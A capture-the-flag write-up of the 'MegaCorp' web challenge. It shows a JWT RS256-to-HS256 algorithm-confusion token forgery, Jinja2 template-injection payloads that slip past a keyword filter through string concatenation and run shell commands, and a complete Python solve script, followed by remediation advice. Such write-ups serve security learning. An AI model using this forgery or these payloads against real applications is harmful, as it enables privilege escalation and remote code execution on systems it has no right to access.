Megacorp

Eh4x CTFby smothy

MegaCorp - Web (446 pts)

Author: benzo Event: EHAX CTF 2026 Flag: EH4X{14mk1nd4high}

Challenge

i made this website for someone and he says its not secure

We're given a web application at http://chall.ehax.in:7801/.

Reconnaissance

The app is a Flask/Werkzeug (3.1.6, Python 3.11) employee portal with three endpoints:

EndpointDescription
/loginAuthentication form
/profileEmployee profile with bio preview
/fetchNetwork Fetcher (403 - restricted)

The login page has a hint in the HTML source:

html
<!-- hint: did you check for sql injection? just kidding, there is none here -->

The placeholder username is alice. Trying common passwords, alice:password123 logs us in and sets a JWT cookie.

Step 1 — JWT Analysis

The token cookie is a JWT signed with RS256:

Header: {"alg":"RS256","typ":"JWT"} Payload: {"username":"alice","role":"user"}

The profile page shows we're employee_tier_1 with locked navigation items:

  • Network Fetcher — "Requires sysadmin privileges"
  • System Logs — locked
  • Vault Access — locked

An alert on the page reads:

HTML rendering is disabled for Tier 1 employees. Due to security policy SC-71a, advanced bio customization via context execution requires System Administrator approval.

This hints that SSTI (Server-Side Template Injection) is enabled for admin-level users.

Step 2 — Public Key Discovery

To forge a JWT, we need the RSA key material. Enumerating paths reveals the public key at:

GET /pubkey → 200 OK -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsNmqnDkCDNBFWmWQ3ZsA aYELW0TM1Ea746JjjojY8jq4psXnI00XOIjBI+q1xg0JYfpa6+m/zp4ZzeEw3/GX ... -----END PUBLIC KEY-----

Step 3 — JWT Algorithm Confusion (RS256 → HS256)

This is CVE-2016-10555. When a JWT library is misconfigured (e.g., jwt.decode(token, public_key, algorithms=["RS256", "HS256"])), an attacker can:

  1. Change the alg header from RS256 to HS256
  2. Sign the token using the public key (which is public!) as the HMAC secret
  3. The server verifies with the same public key material — and it passes

We forge a token with role: admin:

python
import hmac, hashlib, base64, json

with open('public.pem', 'rb') as f:
    public_key = f.read()

header  = base64.urlsafe_b64encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({"username":"alice","role":"admin"}).encode()).rstrip(b'=')

signing_input = header + b'.' + payload
signature = hmac.new(public_key, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).rstrip(b'=')

forged_token = (signing_input + b'.' + sig_b64).decode()
print(forged_token)

Setting this as the token cookie gives us sysadmin_root access with all navigation items unlocked.

Step 4 — SSTI with WAF Bypass

With admin access, the bio preview field now renders Jinja2 templates:

POST /profile bio={{7*7}} → 49

However, a WAF blocks keywords: os, popen, eval, exec, __class__.

Bypass via string concatenation — Jinja2 evaluates 'o'+'s' at runtime, avoiding the static keyword filter:

{{lipsum.__globals__['o'+'s']['po'+'pen']('id').read()}} → uid=0(root) gid=0(root) groups=0(root)

Step 5 — Flag Extraction

{{lipsum.__globals__['o'+'s']['po'+'pen']('grep -i EH4X /app/app.py').read()}} → return b"EH4X{14mk1nd4high}"

Full Exploit Script

python
#!/usr/bin/env python3
"""MegaCorp - EHAX CTF 2026 solve script"""
import hmac, hashlib, base64, json, requests

URL = "http://chall.ehax.in:7801"

# Step 1: Login
s = requests.Session()
s.post(f"{URL}/login", data={"username": "alice", "password": "password123"})

# Step 2: Get public key
pubkey = requests.get(f"{URL}/pubkey").content

# Step 3: Forge admin JWT (RS256 → HS256 confusion)
header  = base64.urlsafe_b64encode(json.dumps({"alg":"HS256","typ":"JWT"}).encode()).rstrip(b'=')
payload = base64.urlsafe_b64encode(json.dumps({"username":"alice","role":"admin"}).encode()).rstrip(b'=')
signing_input = header + b'.' + payload
sig = base64.urlsafe_b64encode(
    hmac.new(pubkey, signing_input, hashlib.sha256).digest()
).rstrip(b'=')
token = (signing_input + b'.' + sig).decode()

# Step 4: SSTI with WAF bypass → RCE
ssti_payload = "{{lipsum.__globals__['o'+'s']['po'+'pen']('grep -i EH4X /app/app.py').read()}}"
r = requests.post(
    f"{URL}/profile",
    cookies={"token": token},
    data={"bio": ssti_payload}
)

import re
match = re.search(r'bio-display">\s*(.*?)\s*</div>', r.text, re.DOTALL)
if match:
    print(f"Flag: {match.group(1).strip()}")

Key Vulnerabilities

#VulnerabilityImpact
1Weak credentials (alice:password123)Initial access
2Public key exposed at /pubkeyEnables algorithm confusion
3JWT algorithm confusion (CVE-2016-10555)Privilege escalation to admin
4Jinja2 SSTI for admin usersRemote code execution
5Weak WAF (string concat bypass)WAF evasion

Remediation

  • JWT: Always enforce specific algorithms: jwt.decode(token, key, algorithms=["RS256"])
  • SSTI: Never pass user input to render_template_string(). Use render_template() with separate template files.
  • WAF: If you must filter, use AST-level analysis, not keyword blocklists.
  • Keys: Don't expose cryptographic keys on unauthenticated endpoints.